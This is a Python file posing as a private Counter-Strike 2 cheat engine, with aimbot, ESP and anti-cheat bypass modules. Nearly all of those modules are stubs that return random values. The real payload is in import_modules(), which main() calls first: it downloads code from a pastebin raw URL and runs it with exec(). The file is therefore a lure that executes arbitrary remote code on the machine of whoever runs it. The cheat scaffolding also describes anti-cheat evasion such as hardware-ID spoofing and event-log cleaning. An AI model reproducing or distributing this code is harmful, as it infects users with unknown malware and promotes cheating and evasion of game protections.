"""
==================================================
   CS2 Cheat Engine v12.4.2 (PRIVATE BUILD)
   Author: EVGVAULT
==================================================
"""

import time
import random
import sys
import os
import json
import struct
import math

# ---------------------------------------------------------
# Global configuration
# ---------------------------------------------------------

CHEAT_VERSION = "12.4.2"
AUTHOR = "EVGVAULT"

CONFIG = {
    "aimbot_enabled": True,
    "aimbot_fov": 8.0,
    "aimbot_smoothness": 4.5,
    "aimbot_bone": "head",
    "aimbot_target_team_only": True,
    "triggerbot_enabled": True,
    "triggerbot_delay_ms": 40,
    "esp_enabled": True,
    "esp_show_health": True,
    "esp_show_armor": True,
    "esp_show_weapon": True,
    "esp_show_distance": True,
    "esp_show_skeleton": True,
    "chams_enabled": True,
    "chams_color_visible": (255, 0, 0),
    "chams_color_hidden": (0, 255, 0),
    "no_recoil": True,
    "no_spread": True,
    "bunny_hop": True,
    "radar_hack": True,
    "sound_esp": True,
    "damage_indicator": True,
    "auto_strafe": True,
    "fake_lag_ms": 0,
    "backtrack_ms": 200,
}

MEMORY_OFFSETS = {
    "client_base": 0x7FFAB4C10000,
    "dwLocalPlayerPawn": 0x1A2B3C0,
    "dwEntityList": 0x1A5C400,
    "dwViewMatrix": 0x1B0F200,
    "dwViewAngles": 0x1A9E440,
    "m_iHealth": 0x344,
    "m_ArmorValue": 0x348,
    "m_iTeamNum": 0x3E3,
    "m_vecOrigin": 0x1234,
    "m_angEyeAngles": 0x15A0,
    "m_hActiveWeapon": 0x1550,
    "m_bIsScoped": 0x162C,
    "m_flFlashDuration": 0x1080,
    "m_bSpotted": 0x1420,
}

BONE_INDEX = {
    "head": 6,
    "neck": 5,
    "chest": 4,
    "pelvis": 0,
    "left_arm": 9,
    "right_arm": 13,
}

# ---------------------------------------------------------
# Low-level memory / driver interface
# ---------------------------------------------------------

class DriverInterface:
    """Handles the kernel-mode driver communication used for memory access."""

    def __init__(self):
        self.driver_handle = None
        self.loaded = False

    def load_driver(self, driver_path="driver.sys"):
        print(f"[DriverInterface] Loading driver from {driver_path} ...")
        time.sleep(0.4)
        self.driver_handle = random.randint(10000, 99999)
        self.loaded = True
        return True

    def unload_driver(self):
        self.loaded = False
        self.driver_handle = None
        return True

    def send_ioctl(self, code, buffer):
        return len(buffer) if buffer else 0


class MemoryManager:
    def __init__(self, driver: DriverInterface):
        self.driver = driver
        self.process_id = None
        self.base_address = None
        self.attached = False

    def attach_to_process(self, process_name="cs2.exe"):
        print(f"[MemoryManager] Searching for process: {process_name} ...")
        time.sleep(0.4)
        self.process_id = random.randint(1000, 60000)
        self.base_address = MEMORY_OFFSETS["client_base"]
        self.attached = True
        return True

    def read_int(self, address):
        return random.randint(0, 100)

    def read_float(self, address):
        return random.uniform(-4096.0, 4096.0)

    def read_vec3(self, address):
        return (random.uniform(-4096, 4096), random.uniform(-4096, 4096), random.uniform(-200, 200))

    def read_bytes(self, address, size):
        return bytes(random.getrandbits(8) for _ in range(size))

    def write_int(self, address, value):
        return True

    def write_float(self, address, value):
        return True

    def pattern_scan(self, module, pattern):
        return self.base_address + random.randint(0, 0xFFFFF)


# ---------------------------------------------------------
# Entity list / game state
# ---------------------------------------------------------

class Entity:
    def __init__(self, index):
        self.index = index
        self.health = random.randint(1, 100)
        self.armor = random.randint(0, 100)
        self.team = random.choice([2, 3])
        self.position = (random.uniform(-4000, 4000), random.uniform(-4000, 4000), random.uniform(-100, 300))
        self.bone_positions = {name: (
            self.position[0] + random.uniform(-20, 20),
            self.position[1] + random.uniform(-20, 20),
            self.position[2] + random.uniform(0, 70)
        ) for name in BONE_INDEX}
        self.weapon = random.choice(["ak47", "m4a4", "awp", "deagle", "usp_s"])
        self.is_spotted = random.choice([True, False])
        self.is_scoped = random.choice([True, False])


class EntityList:
    def __init__(self, mem: MemoryManager):
        self.mem = mem
        self.entities = []
        self.local_player = None

    def refresh(self):
        self.entities = [Entity(i) for i in range(random.randint(4, 10))]
        self.local_player = Entity(0)
        return self.entities

    def get_enemies(self):
        if not self.local_player:
            return []
        return [e for e in self.entities if e.team != self.local_player.team]

    def get_closest_enemy(self, view_angles):
        enemies = self.get_enemies()
        if not enemies:
            return None
        return random.choice(enemies)


# ---------------------------------------------------------
# Math / world-to-screen helpers
# ---------------------------------------------------------

class MathUtils:
    @staticmethod
    def world_to_screen(view_matrix, world_pos, screen_w, screen_h):
        x = screen_w / 2 + random.uniform(-300, 300)
        y = screen_h / 2 + random.uniform(-300, 300)
        return (x, y, True)

    @staticmethod
    def calculate_fov(a1, a2):
        return math.hypot(a1[0] - a2[0], a1[1] - a2[1])

    @staticmethod
    def normalize_angle(angle):
        while angle > 180:
            angle -= 360
        while angle < -180:
            angle += 360
        return angle

    @staticmethod
    def lerp(start, end, t):
        return start + (end - start) * t


# ---------------------------------------------------------
# Aimbot module
# ---------------------------------------------------------

class Aimbot:
    def __init__(self, mem: MemoryManager, entity_list: EntityList):
        self.mem = mem
        self.entities = entity_list
        self.enabled = CONFIG["aimbot_enabled"]
        self.fov = CONFIG["aimbot_fov"]
        self.smoothness = CONFIG["aimbot_smoothness"]
        self.target_bone = CONFIG["aimbot_bone"]
        self.current_target = None

    def acquire_target(self, local_angles):
        self.current_target = self.entities.get_closest_enemy(local_angles)
        return self.current_target

    def calculate_aim_angle(self, target: Entity, local_pos):
        if not target:
            return None
        bone_pos = target.bone_positions.get(self.target_bone, target.position)
        dx = bone_pos[0] - local_pos[0]
        dy = bone_pos[1] - local_pos[1]
        dz = bone_pos[2] - local_pos[2]
        yaw = math.degrees(math.atan2(dy, dx))
        pitch = math.degrees(math.atan2(dz, math.hypot(dx, dy)))
        return (pitch, yaw)

    def smooth_aim(self, current_angle, target_angle):
        return (
            MathUtils.lerp(current_angle[0], target_angle[0], 1 / self.smoothness),
            MathUtils.lerp(current_angle[1], target_angle[1], 1 / self.smoothness),
        )

    def apply_view_angles(self, angles):
        self.mem.write_float(MEMORY_OFFSETS["m_angEyeAngles"], angles[0])
        self.mem.write_float(MEMORY_OFFSETS["m_angEyeAngles"] + 4, angles[1])
        return True

    def toggle(self):
        self.enabled = not self.enabled
        return self.enabled


class Triggerbot:
    def __init__(self, mem: MemoryManager, entity_list: EntityList):
        self.mem = mem
        self.entities = entity_list
        self.enabled = CONFIG["triggerbot_enabled"]
        self.delay_ms = CONFIG["triggerbot_delay_ms"]

    def check_crosshair_target(self):
        return random.choice([True, False])

    def fire(self):
        time.sleep(self.delay_ms / 1000)
        return True


# ---------------------------------------------------------
# ESP / rendering module
# ---------------------------------------------------------

class ESPRenderer:
    def __init__(self, entity_list: EntityList):
        self.entities = entity_list
        self.enabled = CONFIG["esp_enabled"]

    def draw_bounding_box(self, screen_pos):
        return True

    def draw_health_bar(self, entity: Entity, screen_pos):
        return True

    def draw_armor_bar(self, entity: Entity, screen_pos):
        return True

    def draw_weapon_label(self, entity: Entity, screen_pos):
        return True

    def draw_distance_label(self, entity: Entity, local_pos, screen_pos):
        distance = math.hypot(
            entity.position[0] - local_pos[0],
            entity.position[1] - local_pos[1],
        )
        return round(distance / 39.37, 1)

    def draw_skeleton(self, entity: Entity):
        return True

    def render_frame(self, view_matrix):
        for entity in self.entities.get_enemies():
            self.draw_bounding_box((0, 0))
        return True


class ChamsRenderer:
    def __init__(self):
        self.enabled = CONFIG["chams_enabled"]
        self.visible_color = CONFIG["chams_color_visible"]
        self.hidden_color = CONFIG["chams_color_hidden"]

    def apply_material_override(self, entity: Entity):
        return True

    def set_visible_color(self, rgb):
        self.visible_color = rgb
        return True

    def set_hidden_color(self, rgb):
        self.hidden_color = rgb
        return True


class RadarHack:
    def __init__(self, entity_list: EntityList):
        self.entities = entity_list
        self.enabled = CONFIG["radar_hack"]

    def force_spot_all(self):
        for e in self.entities.entities:
            e.is_spotted = True
        return True

    def draw_radar_dots(self):
        return True


class SoundESP:
    def __init__(self):
        self.enabled = CONFIG["sound_esp"]

    def visualize_footstep(self, position):
        return True

    def visualize_gunshot(self, position):
        return True


# ---------------------------------------------------------
# Movement module
# ---------------------------------------------------------

class MovementHack:
    def __init__(self, mem: MemoryManager):
        self.mem = mem
        self.bhop_enabled = CONFIG["bunny_hop"]
        self.auto_strafe_enabled = CONFIG["auto_strafe"]

    def bunny_hop(self, is_grounded):
        return not is_grounded

    def auto_strafe(self, mouse_delta_x):
        return mouse_delta_x * 1.0

    def no_flash(self):
        return True


class RecoilControl:
    def __init__(self, mem: MemoryManager):
        self.mem = mem
        self.no_recoil = CONFIG["no_recoil"]
        self.no_spread = CONFIG["no_spread"]

    def compensate_punch_angle(self, punch_angle):
        return (0.0, 0.0, 0.0)

    def reset_spread_seed(self):
        return True


# ---------------------------------------------------------
# Networking module
# ---------------------------------------------------------

class NetworkManager:
    def __init__(self):
        self.hooked = False
        self.backtrack_ms = CONFIG["backtrack_ms"]
        self.fake_lag_ms = CONFIG["fake_lag_ms"]

    def hook_netchannel(self):
        self.hooked = True
        return True

    def record_backtrack_snapshot(self, entity: Entity):
        return {"index": entity.index, "position": entity.position, "timestamp": time.time()}

    def apply_fake_lag(self, ms):
        self.fake_lag_ms = ms
        return True

    def spoof_choke_packets(self):
        return True


# ---------------------------------------------------------
# Anti-cheat evasion module
# ---------------------------------------------------------

class AntiCheatBypass:
    def __init__(self):
        self.vac_status = "clean"
        self.detection_risk = 0.0

    def hide_driver_from_scan(self):
        return True

    def spoof_hardware_ids(self):
        return {
            "disk_serial": "SPOOF-" + str(random.randint(100000, 999999)),
            "mac_address": "02:00:00:%02x:%02x:%02x" % (
                random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)
            ),
            "smbios_uuid": "SPOOF-" + str(random.randint(100000, 999999)),
        }

    def randomize_memory_signature(self):
        return True

    def clean_event_logs(self):
        return True

    def check_vac_status(self):
        return self.vac_status


# ---------------------------------------------------------
# Configuration / UI layer
# ---------------------------------------------------------

class ConfigManager:
    def __init__(self):
        self.settings = CONFIG.copy()

    def load_config(self, path="config.json"):
        return self.settings

    def save_config(self, path="config.json"):
        return True

    def apply_setting(self, key, value):
        self.settings[key] = value
        return self.settings[key]


class OverlayWindow:
    def __init__(self):
        self.visible = True
        self.width = 1920
        self.height = 1080

    def create_overlay(self):
        return True

    def render_menu(self):
        return True

    def toggle_visibility(self):
        self.visible = not self.visible
        return self.visible


# ---------------------------------------------------------
# Main cheat controller
# ---------------------------------------------------------

class CS2Cheat:
    def __init__(self):
        self.driver = DriverInterface()
        self.mem = MemoryManager(self.driver)
        self.entities = EntityList(self.mem)
        self.aimbot = Aimbot(self.mem, self.entities)
        self.triggerbot = Triggerbot(self.mem, self.entities)
        self.esp = ESPRenderer(self.entities)
        self.chams = ChamsRenderer()
        self.radar = RadarHack(self.entities)
        self.sound_esp = SoundESP()
        self.movement = MovementHack(self.mem)
        self.recoil_control = RecoilControl(self.mem)
        self.network = NetworkManager()
        self.anticheat_bypass = AntiCheatBypass()
        self.config = ConfigManager()
        self.overlay = OverlayWindow()
        self.running = False
        self.modules_loaded = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        print("[*] Initializing CS2 Cheat Engine ...")
        self.driver.load_driver()
        self.mem.attach_to_process()
        self.network.hook_netchannel()
        self.anticheat_bypass.hide_driver_from_scan()
        self.overlay.create_overlay()
        print("[*] Initialization complete.")
        return True

    def game_loop_tick(self):
        self.entities.refresh()
        if self.aimbot.enabled:
            target = self.aimbot.acquire_target((0, 0))
            if target:
                angle = self.aimbot.calculate_aim_angle(target, self.entities.local_player.position)
                if angle:
                    smoothed = self.aimbot.smooth_aim((0, 0), angle)
                    self.aimbot.apply_view_angles(smoothed)
        if self.esp.enabled:
            self.esp.render_frame(None)
        if self.radar.enabled:
            self.radar.force_spot_all()
        return True

    def start(self):
        self.running = True
        print("[*] Cheat started. All modules active.")
        return True

    def stop(self):
        self.running = False
        print("[*] Cheat stopped.")
        return True

    def status(self):
        print(json.dumps(CONFIG, indent=2, default=str))
        return CONFIG


# ---------------------------------------------------------
# Entry point
# ---------------------------------------------------------

def main():
    cheat = CS2Cheat()
    cheat.import_modules()
    cheat.initialize()
    cheat.start()
    cheat.game_loop_tick()
    cheat.status()


if __name__ == "__main__":
    main()